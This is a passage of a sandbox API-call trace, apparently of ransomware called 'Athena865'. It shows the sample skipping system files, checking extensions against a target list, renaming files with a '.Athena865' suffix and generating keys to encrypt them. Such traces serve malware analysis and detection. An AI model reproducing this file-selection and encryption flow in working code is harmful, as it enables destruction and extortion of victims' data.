lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2=".") returned 1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="..") returned 1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="windows") returned -1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="bootmgr") returned -1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="temp") returned -1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="pagefile.sys") returned -1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="boot") returned -1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="ids.txt") returned -1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="ntuser.dat") returned -1 [0051.523] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="perflogs") returned -1 [0051.524] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2="MSBuild") returned -1 [0051.524] lstrlenW (lpString="0tnAHeA3v9Mw-E.gif") returned 18 [0051.524] lstrcpyW (in: lpString1=0x241e8b8, lpString2="0tnAHeA3v9Mw-E.gif" | out: lpString1="0tnAHeA3v9Mw-E.gif") returned="0tnAHeA3v9Mw-E.gif" [0051.524] lstrlenW (lpString="0tnAHeA3v9Mw-E.gif") returned 18 [0051.524] lstrlenW (lpString="Athena865") returned 9 [0051.524] lstrcmpiW (lpString1="9Mw-E.gif", lpString2="Athena865") returned -1 [0051.524] lstrlenW (lpString=".dll") returned 4 [0051.524] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2=".dll") returned 1 [0051.524] lstrlenW (lpString=".lnk") returned 4 [0051.524] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2=".lnk") returned 1 [0051.524] lstrlenW (lpString=".ini") returned 4 [0051.524] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2=".ini") returned 1 [0051.524] lstrlenW (lpString=".sys") returned 4 [0051.524] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.gif", lpString2=".sys") returned 1 [0051.524] lstrlenW (lpString="0tnAHeA3v9Mw-E.gif") returned 18 [0051.524] lstrlenW (lpString="bak") returned 3 [0051.524] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1 [0051.524] lstrlenW (lpString="ba_") returned 3 [0051.524] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1 [0051.524] lstrlenW (lpString="dbb") returned 3 [0051.524] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1 [0051.524] lstrlenW (lpString="vmdk") returned 4 [0051.524] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1 [0051.524] lstrlenW (lpString="rar") returned 3 [0051.524] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1 [0051.524] lstrlenW (lpString="zip") returned 3 [0051.524] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1 [0051.524] lstrlenW (lpString="tgz") returned 3 [0051.524] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1 [0051.524] lstrlenW (lpString="vbox") returned 4 [0051.524] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1 [0051.524] lstrlenW (lpString="vdi") returned 3 [0051.524] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1 [0051.524] lstrlenW (lpString="vhd") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1 [0051.525] lstrlenW (lpString="vhdx") returned 4 [0051.525] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1 [0051.525] lstrlenW (lpString="avhd") returned 4 [0051.525] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1 [0051.525] lstrlenW (lpString="db") returned 2 [0051.525] lstrcmpiW (lpString1="if", lpString2="db") returned 1 [0051.525] lstrlenW (lpString="db2") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1 [0051.525] lstrlenW (lpString="db3") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1 [0051.525] lstrlenW (lpString="dbf") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1 [0051.525] lstrlenW (lpString="mdf") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1 [0051.525] lstrlenW (lpString="mdb") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1 [0051.525] lstrlenW (lpString="sql") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1 [0051.525] lstrlenW (lpString="sqlite") returned 6 [0051.525] lstrcmpiW (lpString1="-E.gif", lpString2="sqlite") returned -1 [0051.525] lstrlenW (lpString="sqlite3") returned 7 [0051.525] lstrcmpiW (lpString1="w-E.gif", lpString2="sqlite3") returned 1 [0051.525] lstrlenW (lpString="sqlitedb") returned 8 [0051.525] lstrcmpiW (lpString1="Mw-E.gif", lpString2="sqlitedb") returned -1 [0051.525] lstrlenW (lpString="xml") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1 [0051.525] lstrlenW (lpString="$er") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1 [0051.525] lstrlenW (lpString="4dd") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1 [0051.525] lstrlenW (lpString="4dl") returned 3 [0051.525] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1 [0051.525] lstrlenW (lpString="^^^") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1 [0051.526] lstrlenW (lpString="abs") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1 [0051.526] lstrlenW (lpString="abx") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1 [0051.526] lstrlenW (lpString="accdb") returned 5 [0051.526] lstrcmpiW (lpString1="E.gif", lpString2="accdb") returned 1 [0051.526] lstrlenW (lpString="accdc") returned 5 [0051.526] lstrcmpiW (lpString1="E.gif", lpString2="accdc") returned 1 [0051.526] lstrlenW (lpString="accde") returned 5 [0051.526] lstrcmpiW (lpString1="E.gif", lpString2="accde") returned 1 [0051.526] lstrlenW (lpString="accdr") returned 5 [0051.526] lstrcmpiW (lpString1="E.gif", lpString2="accdr") returned 1 [0051.526] lstrlenW (lpString="accdt") returned 5 [0051.526] lstrcmpiW (lpString1="E.gif", lpString2="accdt") returned 1 [0051.526] lstrlenW (lpString="accdw") returned 5 [0051.526] lstrcmpiW (lpString1="E.gif", lpString2="accdw") returned 1 [0051.526] lstrlenW (lpString="accft") returned 5 [0051.526] lstrcmpiW (lpString1="E.gif", lpString2="accft") returned 1 [0051.526] lstrlenW (lpString="adb") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0051.526] lstrlenW (lpString="adb") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0051.526] lstrlenW (lpString="ade") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1 [0051.526] lstrlenW (lpString="adf") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1 [0051.526] lstrlenW (lpString="adn") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1 [0051.526] lstrlenW (lpString="adp") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1 [0051.526] lstrlenW (lpString="alf") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1 [0051.526] lstrlenW (lpString="ask") returned 3 [0051.526] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1 [0051.527] lstrlenW (lpString="btr") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1 [0051.527] lstrlenW (lpString="cat") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1 [0051.527] lstrlenW (lpString="cdb") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1 [0051.527] lstrlenW (lpString="ckp") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1 [0051.527] lstrlenW (lpString="cma") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1 [0051.527] lstrlenW (lpString="cpd") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1 [0051.527] lstrlenW (lpString="dacpac") returned 6 [0051.527] lstrcmpiW (lpString1="-E.gif", lpString2="dacpac") returned 1 [0051.527] lstrlenW (lpString="dad") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1 [0051.527] lstrlenW (lpString="dadiagrams") returned 10 [0051.527] lstrcmpiW (lpString1="v9Mw-E.gif", lpString2="dadiagrams") returned 1 [0051.527] lstrlenW (lpString="daschema") returned 8 [0051.527] lstrcmpiW (lpString1="Mw-E.gif", lpString2="daschema") returned 1 [0051.527] lstrlenW (lpString="db-journal") returned 10 [0051.527] lstrcmpiW (lpString1="v9Mw-E.gif", lpString2="db-journal") returned 1 [0051.527] lstrlenW (lpString="db-shm") returned 6 [0051.527] lstrcmpiW (lpString1="-E.gif", lpString2="db-shm") returned 1 [0051.527] lstrlenW (lpString="db-wal") returned 6 [0051.527] lstrcmpiW (lpString1="-E.gif", lpString2="db-wal") returned 1 [0051.527] lstrlenW (lpString="dbc") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1 [0051.527] lstrlenW (lpString="dbs") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1 [0051.527] lstrlenW (lpString="dbt") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1 [0051.527] lstrlenW (lpString="dbv") returned 3 [0051.527] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1 [0051.527] lstrlenW (lpString="dbx") returned 3 [0051.528] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1 [0051.528] lstrlenW (lpString="dcb") returned 3 [0051.528] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1 [0051.528] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\0tnAHeA3v9Mw-E.gif.Athena865") returned 84 [0051.528] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\0tnAHeA3v9Mw-E.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\0tnahea3v9mw-e.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\0tnAHeA3v9Mw-E.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\0tnahea3v9mw-e.gif.athena865"), dwFlags=0x1) returned 1 [0051.528] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\0tnAHeA3v9Mw-E.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\0tnahea3v9mw-e.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.528] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=58860) returned 1 [0051.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.529] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.530] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.530] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.530] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe8f0, lpName=0x0) returned 0x154 [0051.530] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe8f0) returned 0x100000 [0051.532] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.533] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.533] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.533] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.534] CloseHandle (hObject=0x154) returned 1 [0051.534] CloseHandle (hObject=0x17c) returned 1 [0051.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.535] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a1cd60, ftCreationTime.dwHighDateTime=0x1d4d4c7, ftLastAccessTime.dwLowDateTime=0x4838df50, ftLastAccessTime.dwHighDateTime=0x1d4c9b4, ftLastWriteTime.dwLowDateTime=0x4838df50, ftLastWriteTime.dwHighDateTime=0x1d4c9b4, nFileSizeHigh=0x0, nFileSizeLow=0x4166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6Rn0J_l.bmp", cAlternateFileName="")) returned 1 [0051.535] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2=".") returned 1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="..") returned 1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="windows") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="bootmgr") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="temp") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="pagefile.sys") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="boot") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="ids.txt") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="ntuser.dat") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="perflogs") returned -1 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2="MSBuild") returned -1 [0051.536] lstrlenW (lpString="6Rn0J_l.bmp") returned 11 [0051.536] lstrcpyW (in: lpString1=0x241e8b8, lpString2="6Rn0J_l.bmp" | out: lpString1="6Rn0J_l.bmp") returned="6Rn0J_l.bmp" [0051.536] lstrlenW (lpString="6Rn0J_l.bmp") returned 11 [0051.536] lstrlenW (lpString="Athena865") returned 9 [0051.536] lstrcmpiW (lpString1="n0J_l.bmp", lpString2="Athena865") returned 1 [0051.536] lstrlenW (lpString=".dll") returned 4 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2=".dll") returned 1 [0051.536] lstrlenW (lpString=".lnk") returned 4 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2=".lnk") returned 1 [0051.536] lstrlenW (lpString=".ini") returned 4 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2=".ini") returned 1 [0051.536] lstrlenW (lpString=".sys") returned 4 [0051.536] lstrcmpiW (lpString1="6Rn0J_l.bmp", lpString2=".sys") returned 1 [0051.536] lstrlenW (lpString="6Rn0J_l.bmp") returned 11 [0051.536] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\6Rn0J_l.bmp.Athena865") returned 77 [0051.536] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\6Rn0J_l.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\6rn0j_l.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\6Rn0J_l.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\6rn0j_l.bmp.athena865"), dwFlags=0x1) returned 1 [0051.537] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\6Rn0J_l.bmp.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\6rn0j_l.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.537] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16742) returned 1 [0051.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.537] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.538] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.538] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.538] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4470, lpName=0x0) returned 0x154 [0051.538] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4470) returned 0x100000 [0051.539] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.540] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.540] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.540] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.541] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.541] CloseHandle (hObject=0x154) returned 1 [0051.541] CloseHandle (hObject=0x17c) returned 1 [0051.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.542] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48f6c640, ftCreationTime.dwHighDateTime=0x1d4cb63, ftLastAccessTime.dwLowDateTime=0xcd95b810, ftLastAccessTime.dwHighDateTime=0x1d4cf33, ftLastWriteTime.dwLowDateTime=0xcd95b810, ftLastWriteTime.dwHighDateTime=0x1d4cf33, nFileSizeHigh=0x0, nFileSizeLow=0x11ce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8Ua28ahOOat.jpg", cAlternateFileName="8UA28A~1.JPG")) returned 1 [0051.542] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.542] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.542] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2=".") returned 1 [0051.542] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="..") returned 1 [0051.542] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="windows") returned -1 [0051.542] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="bootmgr") returned -1 [0051.542] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="temp") returned -1 [0051.542] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="pagefile.sys") returned -1 [0051.542] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="boot") returned -1 [0051.543] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="ids.txt") returned -1 [0051.543] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="ntuser.dat") returned -1 [0051.543] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="perflogs") returned -1 [0051.543] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2="MSBuild") returned -1 [0051.543] lstrlenW (lpString="8Ua28ahOOat.jpg") returned 15 [0051.543] lstrcpyW (in: lpString1=0x241e8b8, lpString2="8Ua28ahOOat.jpg" | out: lpString1="8Ua28ahOOat.jpg") returned="8Ua28ahOOat.jpg" [0051.543] lstrlenW (lpString="8Ua28ahOOat.jpg") returned 15 [0051.543] lstrlenW (lpString="Athena865") returned 9 [0051.543] lstrcmpiW (lpString1="hOOat.jpg", lpString2="Athena865") returned 1 [0051.543] lstrlenW (lpString=".dll") returned 4 [0051.543] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2=".dll") returned 1 [0051.543] lstrlenW (lpString=".lnk") returned 4 [0051.543] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2=".lnk") returned 1 [0051.543] lstrlenW (lpString=".ini") returned 4 [0051.543] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2=".ini") returned 1 [0051.543] lstrlenW (lpString=".sys") returned 4 [0051.543] lstrcmpiW (lpString1="8Ua28ahOOat.jpg", lpString2=".sys") returned 1 [0051.543] lstrlenW (lpString="8Ua28ahOOat.jpg") returned 15 [0051.543] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\8Ua28ahOOat.jpg.Athena865") returned 81 [0051.543] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\8Ua28ahOOat.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\8ua28ahooat.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\8Ua28ahOOat.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\8ua28ahooat.jpg.athena865"), dwFlags=0x1) returned 1 [0051.544] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\8Ua28ahOOat.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\8ua28ahooat.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.544] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=72936) returned 1 [0051.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.544] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.544] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.545] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.545] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.545] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11ff0, lpName=0x0) returned 0x154 [0051.545] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11ff0) returned 0x100000 [0051.548] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.549] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.549] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.549] 